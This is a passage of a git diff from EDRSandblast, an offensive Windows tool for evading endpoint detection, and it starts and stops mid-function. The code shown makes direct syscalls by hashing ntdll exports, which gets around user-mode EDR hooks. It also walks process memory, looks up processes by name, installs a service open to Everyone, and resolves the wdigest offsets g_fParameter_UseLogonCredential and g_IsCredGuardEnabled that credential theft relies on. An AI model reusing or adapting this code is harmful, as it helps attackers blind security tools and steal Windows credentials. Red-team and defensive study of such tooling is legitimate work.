status = NtQueryVirtualMemory(hProcess, (PVOID)currentAddress, memoryInfoClass, &memoryBasicInfo, sizeof(memoryBasicInfo), NULL);
// The specified base address is outside the range of accessible addresses, iteration is finished.
if (status == STATUS_INVALID_PARAMETER) {
break;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't query memory page (NtQueryVirtualMemory error 0x%x).\n"), status);
return NULL;
}
baseAddress = memoryBasicInfo.BaseAddress;
regionSize = memoryBasicInfo.RegionSize;
// Overflow.
if (((ULONG_PTR) baseAddress + regionSize) < (ULONG_PTR) baseAddress) {
break;
}
// Next memory range.
currentAddress = (PVOID) GetRVA((ULONG_PTR) baseAddress, (ULONG_PTR) regionSize);
if (filterPage) {
// Ignore non-commited pages.
if (memoryBasicInfo.State != MEM_COMMIT) {
continue;
}
// Ignore mapped pages.
if (memoryBasicInfo.Type == MEM_MAPPED) {
continue;
}
// Ignore pages with PAGE_NOACCESS. {
if ((memoryBasicInfo.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) {
continue;
}
// Ignore pages with PAGE_GUARD.
if ((memoryBasicInfo.Protect & PAGE_GUARD) == PAGE_GUARD) {
continue;
}
// Ignore pages with PAGE_EXECUTE. {
if ((memoryBasicInfo.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) {
continue;
}
}
newRange = calloc(1, sizeof(MEMORY_PAGE_INFO));
if (!newRange) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't allocate memory for new MEMORY_RANGE_INFO"));
return NULL;
}
newRange->next = NULL;
newRange->startOfMemoryPage = (ULONG_PTR)baseAddress;
newRange->dataSize = regionSize;
newRange->state = memoryBasicInfo.State;
newRange->protect = memoryBasicInfo.Protect;
newRange->type = memoryBasicInfo.Type;
if (!prangesList) {
prangesList = newRange;
}
else {
PMEMORY_PAGE_INFO lastRange = prangesList;
while (lastRange->next) {
lastRange = lastRange->next;
}
lastRange->next = newRange;
}
}
if (!prangesList) {
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't retrieve any page"));
return NULL;
}
return prangesList;
}
+106
View File
@@ -0,0 +1,106 @@
#include "PEBBrowse.h"
#include "PEParser.h"
#include "SW2_Syscalls.h"
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW2_SYSCALL_LIST SW2_SyscallList;
DWORD SW2_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW2_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
Hash ^= PartialName + SW2_ROR8(Hash);
}
return Hash;
}
int CmpSyscallEntriesByRVA(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
if (a->RVA < b->RVA) {
return -1;
}
else if (a->RVA > b->RVA) {
return +1;
}
else {
return 0;
}
}
int CmpSyscallEntriesByHash(SW2_SYSCALL_ENTRY const* a, SW2_SYSCALL_ENTRY const* b) {
if (a->Hash < b->Hash) {
return -1;
}
else if (a->Hash > b->Hash) {
return +1;
}
else {
return 0;
}
}
BOOL SW2_PopulateSyscallList(void)
{
// Return early if the list is already populated.
if (SW2_SyscallList.Count) return TRUE;
PE* ntdll = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]);
if (*(WORD*)functionName == *((WORD*)"Zw")) {
Entries[i].Hash = SW2_HashSyscall(functionName);
Entries[i].RVA = PE_functionRVA(ntdll, functionName);
i++;
}
}
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByRVA);
// Deduce the syscall numbers.
for (DWORD j = 0; j < SW2_SyscallList.Count; j++) {
SW2_SyscallList.Entries[j].SyscallNumber = j;
}
// Sort the list by hash for quicker search.
qsort(Entries, SW2_SyscallList.Count, sizeof(SW2_SYSCALL_ENTRY), CmpSyscallEntriesByHash);
return TRUE;
}
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return 0xFFFFFFFF;
DWORD down = 0;
DWORD up = SW2_SyscallList.Count;
while (up - down > 1) {
DWORD mid = (down + up) / 2;
if (SW2_SyscallList.Entries[mid].Hash <= FunctionHash) {
down = mid;
}
else {
up = mid;
}
}
if (SW2_SyscallList.Entries[down].Hash == FunctionHash) {
return SW2_SyscallList.Entries[down].SyscallNumber;
}
else {
return 0xFFFFFFFF;
}
}
@@ -0,0 +1,71 @@
.data
currentHash DWORD 0
.code
EXTERN SW2_GetSyscallNumber: PROC
WhisperMain PROC
pop rax
mov [rsp+ 8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, currentHash
call SW2_GetSyscallNumber
add rsp, 28h
mov rcx, [rsp+ 8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Issue syscall
ret
WhisperMain ENDP
NtGetNextProcess PROC
mov currentHash, 0CD50C4CCh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtGetNextProcess ENDP
NtQueryInformationProcess PROC
mov currentHash, 055A17810h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtQueryInformationProcess ENDP
NtClose PROC
mov currentHash, 054DEA057h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtClose ENDP
NtAllocateVirtualMemory PROC
mov currentHash, 08708BDBBh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtAllocateVirtualMemory ENDP
NtOpenProcess PROC
mov currentHash, 0FDBCE430h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtOpenProcess ENDP
NtQueryVirtualMemory PROC
mov currentHash, 083906983h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtQueryVirtualMemory ENDP
NtReadVirtualMemory PROC
mov currentHash, 0309A0DDEh ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtReadVirtualMemory ENDP
NtCreateFile PROC
mov currentHash, 086A15898h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtCreateFile ENDP
NtWriteFile PROC
mov currentHash, 0B224DCF0h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtWriteFile ENDP
end
+204
View File
@@ -0,0 +1,204 @@
#include "SignatureOps.h"
#include "../EDRSandblast.h"
// Concat in pSigners output the list of Signer(s) signing the specified file on disk.
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners) {
HCERTSTORE hCertStore = NULL;
HCRYPTMSG hCryptMsg = NULL;
DWORD dwCountSigners = 0;
DWORD dwcbSz = sizeof(DWORD), dwcbSzPrevious = sizeof(DWORD);
PCMSG_SIGNER_INFO pSignerInfo = NULL;
CERT_INFO certificateInfo = { 0 };
PCCERT_CONTEXT pCertContext = NULL;
TCHAR* tmpSignerName = NULL;
TCHAR* pSigners = NULL;
TCHAR* tmpSignerHolder = NULL;
size_t sztmpSignerHolder = 0;
TCHAR signerSeperator[] = TEXT(" | ");
DWORD dwError = 0;
BOOL returnStatus = 0;
returnStatus = CryptQueryObject(CERT_QUERY_OBJECT_FILE,
pFilePath,
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
CERT_QUERY_FORMAT_FLAG_BINARY,
0,
NULL,
NULL,
NULL,
&hCertStore,
&hCryptMsg,
NULL);
if (!returnStatus) {
dwError = GetLastError();
// File is not signed.
if (dwError == CRYPT_E_NO_MATCH) {
return E_NOT_SIGNED;
}
else {
_tprintf_or_not(TEXT("[!] Couldn't retrieve certificate objects of file \"%s\" (CryptQueryObject(CERT_QUERY_OBJECT_FILE) failed: 0x%08lx)\n"), pFilePath, GetLastError());
return E_KO;
}
}
// Check that the file has at least one Signer.
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_COUNT_PARAM, 0, &dwCountSigners, &dwcbSz);
if (!returnStatus) {
_tprintf_or_not(TEXT("[!] Couldn't get number of signers of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_COUNT_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
if (dwCountSigners == 0) {
_tprintf_or_not(TEXT("[-] \"%s\" file is not digitally signed by at least one signer\n"), pFilePath);
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
return E_NOT_SIGNED;
}
// Get Signer name of each certificates and concat to Signers string.
for (DWORD index = 0; index < dwCountSigners; index++) {
// index = 0;
dwcbSz = 0;
if (pSignerInfo) {
free(pSignerInfo);
pSignerInfo = NULL;
}
if (tmpSignerName) {
free(tmpSignerName);
tmpSignerName = NULL;
}
if (pCertContext) {
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
}
// Retrieve the CMSG_SIGNER_INFO_PARAM that contains the information to build CERT_INFO (Issuer and SerialNumber).
// First call CryptMsgGetParam to retrieve the size neeeded for the buffer.
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, NULL, &dwcbSz);
if (!returnStatus || !dwcbSz) {
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) for size failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Allocate the size needed by CryptMsgGetParam to retrieve CMSG_SIGNER_INFO_PARAM.
pSignerInfo = (PCMSG_SIGNER_INFO)calloc(dwcbSz, sizeof(BYTE));
if (!pSignerInfo) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for PCMSG_SIGNER_INFO"));
goto cleanup;
}
// Retrieve the CMSG_SIGNER_INFO_PARAM of the certificate and validate the return.
dwcbSzPrevious = dwcbSz;
returnStatus = CryptMsgGetParam(hCryptMsg, CMSG_SIGNER_INFO_PARAM, index, pSignerInfo, &dwcbSz);
if (!returnStatus || (dwcbSzPrevious != dwcbSz)) {
_tprintf_or_not(TEXT("[!] Couldn't get signer information of certificate of file \"%s\" (CryptMsgGetParam(CMSG_SIGNER_INFO_PARAM) failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Build CERT_INFO for certificate lookup using CertFindCertificateInStore.
memset(&certificateInfo, 0, sizeof(CERT_INFO));
certificateInfo.Issuer = pSignerInfo->Issuer;
certificateInfo.SerialNumber = pSignerInfo->SerialNumber;
// Certificate lookup matching the Issuer and SerialNumber in hCertStore.
pCertContext = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificateInfo, NULL);
if (!pCertContext) {
_tprintf_or_not(TEXT("[!] Couldn't find certificate of file \"%s\" in store (CertFindCertificateInStore failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Retrieves the subject name. First call is done to determine the subject name size.
dwcbSz = CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, NULL, 0);
tmpSignerName = calloc(dwcbSz, sizeof(TCHAR));
if (!tmpSignerName) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for decoded certificate Subject name."));
goto cleanup;
}
CertNameToStr(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &pCertContext->pCertInfo->Subject, CERT_SIMPLE_NAME_STR, tmpSignerName, dwcbSz);
if (!tmpSignerName) {
_tprintf_or_not(TEXT("[!] Couldn't retrieve decoded Subject name of certificate of file \"%s\" (CertNameToStr failed: 0x%08lx)\n"), pFilePath, GetLastError());
goto cleanup;
}
// Concat the subject to the already found ones, if any.
if (pSigners) {
sztmpSignerHolder = _tcsclen(pSigners) + _tcsclen(signerSeperator) + _tcsclen(tmpSignerName) + 1;
tmpSignerHolder = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
if (!tmpSignerHolder) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for concatenated signers"));
goto cleanup;
}
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, pSigners);
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, signerSeperator);
_tcscat_s(tmpSignerHolder, sztmpSignerHolder, tmpSignerName);
free(pSigners);
pSigners = tmpSignerHolder;
break;
}
else {
sztmpSignerHolder = _tcsclen(tmpSignerName) + 1;
pSigners = (TCHAR*)calloc(sztmpSignerHolder, sizeof(TCHAR));
if (!pSigners) {
_putts_or_not(TEXT("[!] Couldn't allocate memory for first signer"));
goto cleanup;
}
_tcscpy_s(pSigners, sztmpSignerHolder, tmpSignerName);
}
}
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
free(pSignerInfo);
pSignerInfo = NULL;
free(tmpSignerName);
tmpSignerName = NULL;
if (!outSigners || (*szOutSigners < sztmpSignerHolder)) {
*szOutSigners = sztmpSignerHolder;
free(pSigners);
return E_INSUFFICIENT_BUFFER;
}
else {
*szOutSigners = sztmpSignerHolder;
_tcscat_s(outSigners, sztmpSignerHolder, pSigners);
free(pSigners);
return E_SUCCESS;
}
cleanup:
if (pCertContext) {
CertFreeCertificateContext(pCertContext);
pCertContext = NULL;
}
if (hCryptMsg) {
CryptMsgClose(hCryptMsg);
hCryptMsg = NULL;
}
if (hCertStore) {
CertCloseStore(hCertStore, 0);
hCertStore = NULL;
}
if (pSignerInfo) {
free(pSignerInfo);
pSignerInfo = NULL;
}
if (tmpSignerName) {
free(tmpSignerName);
tmpSignerName = NULL;
}
return E_KO;
}
+71
View File
@@ -0,0 +1,71 @@
/*
--- Utility function to generate a random string.
*/
#include "StringUtils.h"
//BOOL isFullPath(IN TCHAR* filename) {
// char c;
//
// if (filename[0] == filename[1] && filename[1] == TEXT('\\')) {
// return TRUE;
// }
//
// c = filename[0] | 0x20;
// if (c < 97 || c > 122) {
// return FALSE;
// }
//
// c = filename[1];
// if (c != ':') {
// return FALSE;
// }
//
// c = filename[2];
// if (c != '\\') {
// return FALSE;
// }
//
// return TRUE;
//}
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* wcharString) {
unicodeString->Buffer = wcharString;
unicodeString->Length = (WORD)_tcslen(unicodeString->Buffer) * sizeof(WCHAR);
unicodeString->MaximumLength = unicodeString->Length + sizeof(WCHAR);
}
BOOL srandDone = FALSE;
/*
* Generates a "length"-long random alphanumeric string
* Assumes the allocation is big enough to receive "length" chararcters (so is at least "length + 1" long)
*/
TCHAR* generateRandomString(TCHAR* str, size_t length) {
if (!srandDone) {
srand((unsigned int)time(0));
srandDone = TRUE;
}
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (length) {
for (size_t n = 0; n < length; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[length] = '\0';
}
return str;
}
TCHAR* allocAndGenerateRandomString(size_t length) {
LPTSTR str = calloc(length + 1, sizeof(TCHAR));
if (str == NULL) {
return NULL;
}
generateRandomString(str, length);
return str;
}
+120
View File
@@ -0,0 +1,120 @@
#include "SyscallProcessUtils.h"
// Retrieve a given process PID.
DWORD SandGetProcessPID(HANDLE hProcess) {
PROCESS_BASIC_INFORMATION basicInformation;
basicInformation.UniqueProcessId = 0;
PROCESSINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInformation, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Couldn't retrieve process PID as NtQueryInformationProcess syscall failed with error 0x%x.\n"), status);
return 0;
}
return (DWORD) basicInformation.UniqueProcessId;
}
// Retrieve a given process image (PE full path).
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess) {
NTSTATUS status;
ULONG ProcessImageLength = 1;
PUNICODE_STRING ProcessImageBuffer = NULL;
do {
ProcessImageBuffer = calloc(ProcessImageLength, sizeof(TCHAR));
if (!ProcessImageBuffer) {
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process image\n"));
return NULL;
}
status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ProcessImageBuffer, ProcessImageLength, &ProcessImageLength);
if (NT_SUCCESS(status)) {
break;
}
free(ProcessImageBuffer);
ProcessImageBuffer = NULL;
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (!ProcessImageBuffer) {
_tprintf_or_not(TEXT("[-] Failed to retrieve process image\n"));
return NULL;
}
return ProcessImageBuffer;
}
// Extract filename from process image full path.
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize) {
if (ProcessImageUnicodeStr->Length == 0) {
return 0;
}
// Process name will be /binary.exe.
TCHAR* ProcessName = _tcsrchr(ProcessImageUnicodeStr->Buffer, TEXT('\\'));
if (!ProcessName) {
return 0;
}
// Skip the /.
ProcessName = &ProcessName[1];
DWORD ProcessNameLength = (DWORD)_tcslen(ProcessName);
if (ProcessNameLength > nSize) {
_tprintf_or_not(TEXT("[-] Input buffer size is too small for file name\n"));
return 0;
}
_tcsncat_s(ImageFileName, nSize, ProcessName, _TRUNCATE);
return ProcessNameLength;
}
// Find a process PID using its filename.
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid) {
DWORD status = STATUS_UNSUCCESSFUL;
HANDLE hProcess = NULL;
PUNICODE_STRING currentProcessImage = NULL;
TCHAR* currentProcessName = NULL;
DWORD currentProcessNameSz = 0;
*pPid = 0;
while (*pPid == 0) {
status = NtGetNextProcess(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess);
if (status == STATUS_NO_MORE_ENTRIES) {
_tprintf_or_not(TEXT("[-] The process '%s' was not found\n"), targetProcessName);
return STATUS_NO_MORE_ENTRIES;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall NtGetNextProcess failed with error 0x%x.\n"), status);
return status;
}
currentProcessImage = SandGetProcessImage(hProcess);
currentProcessName = calloc(currentProcessImage->MaximumLength, sizeof(TCHAR));
if (!currentProcessName) {
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process filename\n"));
return STATUS_UNSUCCESSFUL;
}
currentProcessNameSz = SandGetProcessFilename(currentProcessImage, currentProcessName, currentProcessImage->MaximumLength);
if (currentProcessNameSz != 0 && !_tcsicmp(targetProcessName, currentProcessName)) {
*pPid = SandGetProcessPID(hProcess);
break;
}
free(currentProcessImage);
currentProcessImage = NULL;
free(currentProcessName);
currentProcessName = NULL;
}
if (*pPid) {
return STATUS_SUCCES;
}
else {
return STATUS_UNSUCCESSFUL;
}
}
+71 -13
View File
@@ -9,24 +9,25 @@
#include <tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "WdigestOffsets.h"
union WdigestOffsets wdigestOffsets = { 0 };
union WdigestOffsets g_wdigestOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
TCHAR wdigestVersion[256] = { 0 };
GetWdigestVersion(wdigestVersion);
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion();
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
union WdigestOffsets offsetResults = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offsetResults;
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
return;
}
TCHAR lineWdigestVersion[256];
@@ -37,14 +38,71 @@ union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
// TODO: switch hardcoded value to sizeof or const defined
for (int i = 0; i < 2; i++) {
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
_tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offsetResults;
}
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion);
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR wdigestPath = GetWdigestPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath);
if (sym_ctx == NULL) {
return;
}
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential");
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled");
UnloadSymbols(sym_ctx, delete_pdb);
}
TCHAR g_wdigestPath[MAX_PATH] = { 0 };
LPTSTR GetWdigestPath() {
if (_tcslen(g_wdigestPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute wdigest.dll path.
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory);
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll"));
}
return g_wdigestPath;
}
TCHAR g_wdigestVersion[256] = { 0 };
LPTSTR GetWdigestVersion() {
if (_tcslen(g_wdigestVersion) == 0) {
LPTSTR wdigestPath = GetWdigestPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
return g_wdigestVersion;
}
+165
View File
@@ -0,0 +1,165 @@
#include "../EDRSandblast.h"
#include "WindowsServiceOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL;
SC_HANDLE hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf_or_not(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf_or_not(TEXT("[*] \'%s\' service was not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf_or_not(TEXT("[+] \'%s\' service is successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf_or_not(TEXT("[+] \'%s\' service ACL configured to for Everyone\n"), serviceName);
}
else {
_putts_or_not(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf_or_not(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf_or_not(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf_or_not(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf_or_not(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf_or_not(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf_or_not(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
